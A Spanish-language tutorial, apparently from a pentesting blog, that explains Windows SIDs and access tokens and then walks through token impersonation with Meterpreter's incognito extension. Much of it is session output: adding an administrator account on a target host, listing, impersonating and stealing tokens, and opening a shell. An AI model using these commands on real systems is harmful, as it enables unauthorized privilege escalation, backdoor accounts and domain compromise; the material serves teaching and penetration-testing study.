METERPRETER, INCOGNITO Y EL MODELO DE SEGURIDAD EN WINDOWS

Modelo de Seguridad Windows

El modelo de seguridad en Windows consiste en el uso de un mecanismo de autenticación/autorización que permite a cada usuario ingresar al sistema con determinados perfiles y con diferentes tipos de privilegios sobre el sistema. En windows cada usuario esta asociado a un Security Identifier (SID) que permite identificar de forma única a cada usuario, un SID consiste de:

S- Nivel de Revision – Valor de Autoridad – dominio o Identificador Local – Identificador relativo

S-1-5-21-46XXXXXXXXXXXXXXXXXXXXX-XXX-1022

Cuando un usuario en Windows  se autentica e inicia sesión en el sistema, el siguiente procedimiento es llevado a cabo por el sistema operativo:

  1. El sistema intenta consultar que el usuario y la clave ingresada sean correctos de acuerdo a la base de datos interna de usuarios del sistema (SAM).

  2. Una vez inicia sesión, el sistema instancia un User Process que tiene asociado a su vez un Primary Token (normalmente se puede ver en los procesos del sistema con el nombre de userinit.exe) que contiene la información asociada al usuario, esta información incluye, SID, privilegios, grupos y configuraciones personalizadas.

  3. Posteriormente se instancian varios Threads que dependen del User Process creado, cada uno de estos Threads tiene también asociado el mismo Primary Token asociado al User Process.

  4. Cuando un usuario quiere usar algún recurso o ejecutar una operación, dicho recurso/operación tiene asociados una serie de privilegios, el Thread encargado de realizar dicha acción suministra al recurso su Primary Token (que es común a todos los Thread dependientes del User Process) si este Token cumple con los privilegios establecidos por el recurso, el Thread podrá acceder a dicho recurso, en caso contrario se producirá un acceso denegado al recurso/operación.

Una vez comprendido esto, la “impersonalización” de Tokens consiste, básicamente en la creación de Tokens para acceder a determinados recursos falseando la identidad del usuario, por ejemplo:

  1. Supongamos que el User Process es un Servidor FTP, un usuario puede acceder a dicho servidor de forma anónima o con una cuenta de usuario valida, en ese momento el proceso FTP tiene el Primary Token creado en el proceso de autenticación/autorización y este a su vez es compartido por todos los Threads creados por el proceso de FTP

  2. Un usuario se autentica y por medio de incognito (por ejemplo) crea un token impersonal y con este reemplaza el Primary Token creado por el servidor FTP para un Thread particular, de esta forma, solicita el acceso a un recurso por medio de este token creado e inyectado al Thread.

  3. El recurso verifica los privilegios asociados y si los cumple garantiza el acceso, por lo tanto, es posible que dicho token tenga información falsa sobre el SID que realmente esta accediendo a dicho recurso.

Ahora bien, pueden existir dos amenazas relacionadas con “impersonalización” de tokens, Escalado de Privilegios locales, y Escalado de Privilegios de Dominio.

Escalado de privilegios Locales:

Consiste en la explotación de un proceso en la maquina objetivo por medio de un exploit o aprovechando alguna vulnerabilidad del servicio, una vez un atacante accede a dicho proceso, este puede acceder a todos los tokens e impersonalizarlos.

Escalado de Privilegios de Dominio:

Es la extensión del escalado de privilegios locales, pero resulta ser una gran amenaza dado que consiste en la replicación del ataque hacia otras maquinas por medio del proceso explotación usando tokens impersonalizados y de esta forma, acceder a otras maquinas en el dominio (y evidentemente, intentar comprometerlas también), este tipo de tokens son generalmente creados para sesiones interactivas.

Usando Incognito

Con incógnito podemos crear usuarios en la maquina objetivo, y tokens falsos, pudiendo de esta forma crear un usuario perteneciente a cualquier grupo que nosotros deseemos, (como por ejemplo al grupo de los administradores) su uso, como es habitual en los comandos de meterpreter resulta bastante sencillo.

Nota: Es necesario tener privilegios de system para poder realizar esto, por este motivo, se debería utilizar el comando getsystem de meterpreter antes de ejecutarlo, en el caso de que este comando no consiga escalar privilegios de forma adecuada, atentos a la próxima entrada, donde se detallaran técnicas de escalado de privilegios usando Meterpreter de MetaSploit Framework.

meterpreter > use incognito

Loading extension incognito…success.

meterpreter > add_user joss joss

[*] Attempting to add user joss to host 10.130.121.36

[+] Successfully added user

meterpreter > add_localgroup_user Administrators joss

[*] Attempting to add userjoss to localgroup Administrators on host 10.130.121.36

[+] Successfully added user to local group

Por otro lado también podemos conocer los tokens asociados a un usuario o grupo en particular por medio del comado list_tokens

meterpreter > list_tokens

Usage: list_tokens <list_order_option>

Lists all accessible tokens and their privilege level

OPTIONS:

-g List tokens by unique groupname

-u List tokens by unique username

meterpreter > list_tokens -u

Delegation Tokens Available

========================================

NT AUTHORITY\LOCAL SERVICE

NT AUTHORITY\NETWORK SERVICE

NT AUTHORITY\SYSTEM

OWNER\Owner

OWNER\postgres

Impersonation Tokens Available

========================================

NT AUTHORITY\ANONYMOUS LOGON

Como puede verse, existen diferentes tokens de delegación disponibles para su uso, podríamos utilizar el token Owner o Postgres.

meterpreter > impersonate_token OWNER\\Owner

[+] Delegation token available

[+] Successfully impersonated user OWNER\Owner

meterpreter > getuid

Server username: OWNER\Owner

meterpreter > shell

Process 992 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Owner>echo %USERNAME%

echo %USERNAME%

Owner

Ahora, como hemos impersonalizado los tokens para el usuario Owner, podemos ver el listado de tokens disponibles para dicho usuario:

meterpreter > list_tokens -u

[-] Warning: Not currently running as SYSTEM, not all tokens will be available

Call rev2self if primary process token is SYSTEM

Delegation Tokens Available

========================================

OWNER\Owner

Impersonation Tokens Available

========================================

NT AUTHORITY\SYSTEM

Posteriormente, podemos consultar los procesos en ejecución del usuario Owner y podremos obtener aquellos que se encuentran asociados a dicho usuario, podemos usar el comando steal_token para obtener el token primario del proceso de usuario que nos interese. Por ejemplo, supongamos que el proceso explorer.exe tiene el PID 956, con meterpreter e incognito es tan simple como:

meterpreter > steal_token 956

Stolen token with username: OWNER\Owner